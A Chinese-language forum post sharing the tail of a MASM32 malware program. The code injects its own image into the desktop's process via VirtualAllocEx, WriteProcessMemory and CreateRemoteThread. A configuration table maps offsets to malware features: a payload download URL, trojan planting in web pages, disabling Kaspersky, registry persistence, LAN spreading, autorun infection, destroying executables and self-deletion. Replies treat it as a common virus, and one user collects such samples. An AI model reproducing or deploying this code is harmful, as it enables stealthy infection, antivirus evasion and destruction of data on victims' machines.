add edi, sizeof IMAGE_FILE_HEADER
assume edi:ptr IMAGE_OPTIONAL_HEADER32
mov eax, [edi].SizeOfImage
mov ShellSize, eax
assume edi:NOTHING
invoke  FindWindow,addr szDesktopClass,NULL
invoke GetWindowThreadProcessId, eax, addr Pid
invoke OpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_WRITE+\
        PROCESS_VM_OPERATION,FALSE,Pid      
mov hProcess, eax
invoke VirtualFreeEx, hProcess, hModule, 0, MEM_RELEASE
invoke VirtualAllocEx, hProcess, hModule, ShellSize, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE
mov hWnd, eax
invoke WriteProcessMemory, hProcess, hWnd, hModule, ShellSize, addr Written
invoke CreateRemoteThread, hProcess, 0, 0, addr Shellcode, hModule, 0, addr dwTid
invoke ExitProcess, 0
end start

附上地址说明：
url:  60 x  下载地址  32500
link: 60 y  挂马内容  32564
a:    10 a  禁用卡巴  32672
b:    10 b  注入方式  1 iexplorer.exe  2 explorer.exe  32692
c:    10 c  注册表    32712
d:    10 d  内网传播  32732
e:    10 e  0 退出  1 挂马  2 删除备份  3 毁坏可执行文件  32752
f:    10 f  删除自己  32772
g:    10 g  autorun感染  32792

天涯之海

一般类的毒/:L

黑暗次序

真长啊。。。
复制回去慢慢咀嚼～！

冰糖

呵呵，谢谢，目前我正在收集这些